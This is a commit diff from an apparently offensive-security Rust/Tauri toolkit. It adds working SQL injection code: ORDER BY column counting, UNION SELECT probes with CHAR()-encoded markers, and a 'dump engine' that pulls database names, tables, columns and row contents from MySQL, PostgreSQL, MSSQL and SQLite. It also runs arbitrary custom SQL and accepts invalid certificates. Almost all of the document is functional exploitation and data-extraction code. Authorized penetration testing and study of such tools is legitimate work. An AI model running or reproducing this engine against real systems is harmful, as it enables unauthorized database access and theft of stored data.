Update application to use insecure.newploit.com as the target domain

- Changed base URLs and targets in multiple modules to point to insecure.newploit.com for testing purposes.
- Updated README.md to reflect the new domain and provide instructions for setting up the reverse proxy.
- Adjusted configurations in AdminFinder, AutoPwn, Banner, DirFuzz, DnsTools, FormBrute, HttpProbe, PortScan, Repeater, Sqli, SslScan, SubEnum, Xploiter, and Xss components.
This commit is contained in:
taqin
2026-04-25 22:59:51 +07:00
parent f556ac5cd2
commit 4b0a402a4e
17 changed files with 871 additions and 58 deletions

View File

@@ -25,6 +25,8 @@ pub fn run() {
httpx::http_probe,
takeover::takeover_scan,
sqli::sqli_scan,
sqli::sqli_dump,
sqli::sqli_probe_union,
xss::xss_scan,
jwt::jwt_analyze,
xploiter::xploit_run,

View File

@@ -103,6 +103,11 @@ pub struct SqliFinding {
pub evidence: String,
pub confidence: String,
pub extracted: HashMap<String, String>,
/// Original request context — used to drive sqli_dump on a confirmed
/// union finding. Frontend echoes these back.
pub base_value: String,
pub union_cols: Option<usize>,
pub union_position: Option<usize>,
}
// ------------------------------------------------------------------
@@ -148,6 +153,23 @@ static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
]),
]);
fn hex_literal(s: &str) -> String {
let mut out = String::from("0x");
for b in s.as_bytes() {
out.push_str(&format!("{:02x}", b));
}
out
}
/// MySQL CHAR(n,n,...) builds the marker server-side from byte codes.
/// The raw injected payload then never contains the marker's ASCII bytes,
/// so matching the marker in the response body proves the DB actually
/// produced it (not just echoing our URL back).
fn mysql_char_literal(s: &str) -> String {
let parts: Vec<String> = s.as_bytes().iter().map(|b| b.to_string()).collect();
format!("CHAR({})", parts.join(","))
}
fn detect_dbms(body: &str) -> Option<&'static str> {
for (db, regexes) in DBMS_ERRORS.iter() {
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
@@ -552,35 +574,59 @@ async fn test_time_based(
None
}
static ORDER_BY_ERR: Lazy<Regex> = Lazy::new(|| Regex::new(
r"(?i)(unknown column ['`]?\d+['`]? in ['`]?order|order by position number \d+ is out of range|1st order by term out of range|order by clause is not in select list)"
).unwrap());
async fn test_union_based(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>, usize, usize)> {
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
// Step 1: find column count via ORDER BY
// Baseline: response for a guaranteed-good n=1 after each prefix is
// recorded and subsequent n's are compared. Relying on generic text
// like "order by" in the body is unreliable because many apps echo
// the failing query back.
let mut cols: usize = 0;
for (prefix, _suffix) in boundaries(level).iter() {
let mut last_ok: usize = 0;
for n in 1..=20 {
// baseline for THIS prefix — ORDER BY 1 should always succeed if
// the injection is valid at all.
let base_full = apply_tamper(&format!("{}{} ORDER BY 1-- -", point.base_value, prefix), tamper);
let (base_body, base_status, _) = match send(client, target, point, &base_full).await {
Some(v) => v,
None => continue,
};
// If ORDER BY 1 itself errors (this prefix is wrong) — skip.
if ORDER_BY_ERR.is_match(&base_body) || base_status >= 500 { continue; }
let mut last_ok: usize = 1;
for n in 2..=20 {
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
let err = detect_dbms(&body).is_some()
|| body.to_lowercase().contains("unknown column")
|| body.to_lowercase().contains("order by");
if let Some((body, status, _)) = send(client, target, point, &full).await {
let err = status >= 500
|| ORDER_BY_ERR.is_match(&body)
|| similarity(&base_body, &body) < 0.55;
if err { break; } else { last_ok = n; }
} else { break; }
}
if last_ok > 0 {
cols = last_ok;
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
// Build the marker via CHAR(n,n,...) so the raw injected
// query never contains the marker's ASCII. Many apps reflect
// the raw GET/POST param in the page (e.g. `<h1>User #<?=$id?>`),
// which used to false-positive every column. With CHAR() the
// marker only appears when the DB actually produced the row.
let marker_expr = mysql_char_literal(&marker);
// Step 2: UNION SELECT with NULLs, replace one at a time with marker
for position in 1..=cols {
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
format!("'{}'", marker)
marker_expr.clone()
} else { "NULL".to_string() }).collect();
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
if body.contains(&marker) {
// injectable column found — try extracting data
// injectable column found — extract data with hex-wrapped concat
let mut extracted: HashMap<String, String> = HashMap::new();
let probes = [
("version", "version()"),
@@ -588,16 +634,17 @@ async fn test_union_based(
("db", "database()"),
];
for (name, expr) in probes {
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
fields[position - 1] = format!("CONCAT({m},{e},{m})", m=marker_expr, e=expr);
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((b, _, _)) = send(client, target, point, &ep).await {
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}",
m = regex::escape(&marker))).unwrap();
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
extracted.insert(name.into(), c.as_str().to_string());
}
}
fields[position - 1] = format!("'{}'", marker);
fields[position - 1] = marker_expr.clone();
}
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
let lo = v.to_lowercase();
@@ -613,6 +660,8 @@ async fn test_union_based(
format!("union injection at column {position}/{cols}, marker reflected"),
dbms,
extracted,
cols,
position,
));
}
}
@@ -700,6 +749,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -719,6 +770,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -728,7 +781,7 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
// union-based
if req.techniques.iter().any(|t| t == "union") {
if let Some((pre, suf, payload, evidence, db, extracted)) =
if let Some((pre, suf, payload, evidence, db, extracted, ucols, upos)) =
test_union_based(&client, &target, point, req.level, &req.tamper).await
{
let f = SqliFinding {
@@ -738,6 +791,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted,
base_value: point.base_value.clone(),
union_cols: Some(ucols), union_position: Some(upos),
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -757,6 +812,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -768,3 +825,371 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
let _ = app.emit("sqli:done", findings.len());
Ok(findings)
}
// ===================================================================
// Dump engine — drives union-based extraction after a confirmed finding.
//
// Actions: "databases" | "tables" | "columns" | "rows" | "custom"
// DBMS : "MySQL" | "MariaDB" | "PostgreSQL" | "MSSQL" | "SQLite"
//
// Strategy: build a subquery that returns a single delimited string, wrap
// it in the DBMS-specific concat(marker, subq, marker), then inject into
// the confirmed UNION position. Parse by regex + delimiter split.
//
// Row dumps use U+007F (\x7f) as intra-row delimiter and `|` between rows.
// ===================================================================
#[derive(Debug, Clone, Deserialize)]
pub struct SqliDumpRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
#[serde(default)]
pub body: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub cookies: Option<String>,
// injection context (from a previous finding)
pub param: String,
pub location: String,
pub base_value: String,
pub prefix: String,
pub cols: usize,
pub position: usize,
pub dbms: String,
// dump controls
pub action: String,
#[serde(default)]
pub database: Option<String>,
#[serde(default)]
pub table: Option<String>,
#[serde(default)]
pub columns: Option<Vec<String>>,
#[serde(default = "default_dump_limit")]
pub limit: usize,
#[serde(default)]
pub offset: usize,
#[serde(default)]
pub custom_sql: Option<String>,
#[serde(default)]
pub tamper: Vec<String>,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_true")]
pub follow_redirects: bool,
}
fn default_dump_limit() -> usize { 100 }
#[derive(Debug, Clone, Serialize)]
pub struct SqliDumpResult {
pub dbms: String,
pub action: String,
pub headers: Vec<String>,
pub rows: Vec<Vec<String>>,
pub count: usize,
pub truncated: bool,
pub raw_payload: String,
pub raw_captured: String,
}
fn normalize_dbms(d: &str) -> &str {
let lo = d.to_lowercase();
if lo.contains("maria") || lo.contains("mysql") { "MySQL" }
else if lo.contains("postgres") { "PostgreSQL" }
else if lo.contains("mssql") || lo.contains("sql server") { "MSSQL" }
else if lo.contains("sqlite") { "SQLite" }
else if lo.contains("oracle") { "Oracle" }
else { "MySQL" }
}
fn dump_expr(
dbms: &str, action: &str,
db: Option<&str>, table: Option<&str>, cols: &[String],
limit: usize, offset: usize, custom: Option<&str>,
) -> String {
let d = dbms.to_string();
match (d.as_str(), action) {
("MySQL", "databases") =>
"(SELECT GROUP_CONCAT(schema_name SEPARATOR 0x7c) FROM information_schema.schemata)".into(),
("MySQL", "tables") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
format!("(SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c) FROM information_schema.tables WHERE table_schema={d_lit})")
}
("MySQL", "columns") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
let t = table.unwrap_or("");
format!("(SELECT GROUP_CONCAT(column_name SEPARATOR 0x7c) FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
}
("MySQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("`{}`.`{}`", x.replace('`', ""), t.replace('`', "")),
_ => format!("`{}`", t.replace('`', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("IFNULL(`{}`,'')", c.replace('`', ""))).collect();
let concat = format!("CONCAT_WS(0x7f,{})", cl.join(","));
format!("(SELECT GROUP_CONCAT({} SEPARATOR 0x7c) FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
}
("PostgreSQL", "databases") =>
"(SELECT string_agg(datname,'|') FROM pg_database WHERE datistemplate=false)".into(),
("PostgreSQL", "tables") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
format!("(SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname={})", d_lit)
}
("PostgreSQL", "columns") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
let t = table.unwrap_or("");
format!("(SELECT string_agg(column_name,'|') FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
}
("PostgreSQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("\"{}\".\"{}\"", x.replace('"', ""), t.replace('"', "")),
_ => format!("\"{}\"", t.replace('"', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("COALESCE(\"{}\"::text,'')", c.replace('"', ""))).collect();
let concat = cl.join("||chr(127)||");
format!("(SELECT string_agg({}, '|') FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
}
("MSSQL", "databases") =>
"(SELECT STRING_AGG(name,'|') FROM master.sys.databases)".into(),
("MSSQL", "tables") => {
match db { Some(x) if !x.is_empty() =>
format!("(SELECT STRING_AGG(name,'|') FROM {}.sys.tables)", x.replace('[', "").replace(']', "")),
_ => "(SELECT STRING_AGG(name,'|') FROM sys.tables)".into()
}
}
("MSSQL", "columns") => {
let t = table.unwrap_or("");
format!("(SELECT STRING_AGG(name,'|') FROM sys.columns WHERE object_id=OBJECT_ID('{}'))", esc_sq(t))
}
("MSSQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("[{}].[dbo].[{}]", x.replace('[', "").replace(']', ""), t.replace('[', "").replace(']', "")),
_ => format!("[{}]", t.replace('[', "").replace(']', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("ISNULL(CAST([{}] AS NVARCHAR(MAX)),'')", c.replace('[', "").replace(']', ""))).collect();
let concat = cl.join("+CHAR(127)+");
format!("(SELECT STRING_AGG({}, '|') FROM (SELECT TOP {} * FROM {}) x)", concat, limit, qn)
}
("SQLite", "databases") => "(SELECT 'main')".into(),
("SQLite", "tables") =>
"(SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table')".into(),
("SQLite", "columns") => {
let t = table.unwrap_or("");
format!("(SELECT group_concat(name,'|') FROM pragma_table_info('{}'))", esc_sq(t))
}
("SQLite", "rows") => {
let t = table.unwrap_or("");
let cl: Vec<String> = cols.iter().map(|c| format!("ifnull(\"{}\",'')", c.replace('"', ""))).collect();
let concat = cl.join("||char(127)||");
format!("(SELECT group_concat({}, '|') FROM (SELECT * FROM \"{}\" LIMIT {} OFFSET {}) x)", concat, t.replace('"', ""), limit, offset)
}
(_, "custom") => custom.unwrap_or("NULL").to_string(),
_ => "NULL".into(),
}
}
fn esc_sq(s: &str) -> String { s.replace('\'', "''") }
fn wrap_marker(dbms: &str, marker: &str, expr: &str) -> String {
match dbms {
// MySQL: CHAR(n,n,...) — marker bytes never appear in raw payload,
// so apps that reflect the GET/POST param (e.g. <h1><?= $id ?>)
// can't false-positive our regex.
"MySQL" => {
let m = mysql_char_literal(marker);
format!("CONCAT({m},{e},{m})", m = m, e = expr)
}
"PostgreSQL" | "SQLite" => format!("('{m}'||({e})||'{m}')", m = marker, e = expr),
"MSSQL" => format!("('{m}' + CAST(({e}) AS NVARCHAR(MAX)) + '{m}')", m = marker, e = expr),
_ => expr.to_string(),
}
}
fn parse_dump_captured(action: &str, captured: &str, cols: &Option<Vec<String>>) -> (Vec<String>, Vec<Vec<String>>) {
if captured.is_empty() { return (Vec::new(), Vec::new()); }
match action {
"databases" | "tables" | "columns" => {
let header = match action { "databases" => "database", "tables" => "table", _ => "column" };
let rows: Vec<Vec<String>> = captured.split('|')
.filter(|s| !s.is_empty())
.map(|s| vec![s.to_string()])
.collect();
(vec![header.into()], rows)
}
"rows" => {
let hdr = cols.clone().unwrap_or_default();
let rows: Vec<Vec<String>> = captured.split('|')
.filter(|s| !s.is_empty())
.map(|r| r.split('\u{7f}').map(String::from).collect())
.collect();
(hdr, rows)
}
_ => (vec!["result".into()], vec![vec![captured.to_string()]]),
}
}
// ------------------------------------------------------------------
// On-demand UNION probe — used when dump is requested on an
// error/boolean/time finding that never ran union during the scan
// (e.g. stop_on_first stopped at error-based).
// ------------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
pub struct SqliProbeUnionRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
#[serde(default)]
pub body: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub cookies: Option<String>,
pub param: String,
pub location: String,
pub base_value: String,
#[serde(default = "default_level")]
pub level: u8,
#[serde(default)]
pub tamper: Vec<String>,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_true")]
pub follow_redirects: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct SqliProbeUnionResult {
pub prefix: String,
pub cols: usize,
pub position: usize,
pub dbms: Option<String>,
pub extracted: HashMap<String, String>,
}
#[tauri::command]
pub async fn sqli_probe_union(_app: AppHandle, req: SqliProbeUnionRequest) -> Result<SqliProbeUnionResult, String> {
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
let body_is_json = req.headers.iter().any(|(k, v)|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
let target = Target {
url, method: req.method, body: req.body, body_is_json,
headers: req.headers, cookies: req.cookies,
};
let point = InjectionPoint { location: req.location, name: req.param, base_value: req.base_value };
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
.cookie_store(false)
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/probe)")
.build()
.map_err(|e| e.to_string())?;
match test_union_based(&client, &target, &point, req.level, &req.tamper).await {
Some((prefix, _suffix, _payload, _evidence, dbms, extracted, cols, position)) => {
Ok(SqliProbeUnionResult {
prefix, cols, position,
dbms: dbms.map(|s| s.to_string()),
extracted,
})
}
None => Err("union probe failed — ORDER BY column count not found or UNION blocked".into()),
}
}
#[tauri::command]
pub async fn sqli_dump(app: AppHandle, req: SqliDumpRequest) -> Result<SqliDumpResult, String> {
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
let body_is_json = req.headers.iter().any(|(k, v)|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
let target = Target {
url, method: req.method.clone(), body: req.body.clone(), body_is_json,
headers: req.headers.clone(), cookies: req.cookies.clone(),
};
let point = InjectionPoint {
location: req.location.clone(),
name: req.param.clone(),
base_value: req.base_value.clone(),
};
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
.cookie_store(false)
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/dump)")
.build()
.map_err(|e| e.to_string())?;
let dbms = normalize_dbms(&req.dbms).to_string();
let marker = format!("xpl{:04}dmp", rand::random::<u16>());
let subq = dump_expr(
&dbms, &req.action,
req.database.as_deref(), req.table.as_deref(),
req.columns.as_deref().unwrap_or(&[]),
req.limit, req.offset, req.custom_sql.as_deref(),
);
let wrapped = wrap_marker(&dbms, &marker, &subq);
let cols_count = req.cols.max(1);
let pos = req.position.max(1).min(cols_count);
let fields: Vec<String> = (1..=cols_count)
.map(|i| if i == pos { wrapped.clone() } else { "NULL".into() })
.collect();
let injected = apply_tamper(
&format!("{}{} UNION SELECT {}-- -", point.base_value, req.prefix, fields.join(",")),
&req.tamper,
);
let _ = app.emit("sqli:dump:status",
format!("{} · dbms={} · marker={} · {}col@{}", req.action, dbms, marker, cols_count, pos));
let (body, status, elapsed) = send(&client, &target, &point, &injected).await
.ok_or_else(|| "request failed or timed out".to_string())?;
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", m = regex::escape(&marker)))
.map_err(|e| e.to_string())?;
let captured = re.captures(&body)
.and_then(|c| c.get(1))
.map(|m| m.as_str().to_string())
.unwrap_or_default();
if captured.is_empty() {
// surface backend errors so the UI can show what went wrong
let snippet = if body.len() > 400 {
format!("{}...", body.chars().take(400).collect::<String>())
} else { body.clone() };
return Err(format!("no marker in response (status={} elapsed={}ms). body: {}", status, elapsed, snippet));
}
let (headers, rows) = parse_dump_captured(&req.action, &captured, &req.columns);
let count = rows.len();
// GROUP_CONCAT / STRING_AGG truncation hints
let truncated = match dbms.as_str() {
"MySQL" => captured.len() > 1020, // default group_concat_max_len = 1024
_ => false,
};
Ok(SqliDumpResult {
dbms: dbms.clone(),
action: req.action.clone(),
headers,
rows,
count,
truncated,
raw_payload: injected,
raw_captured: captured,
})
}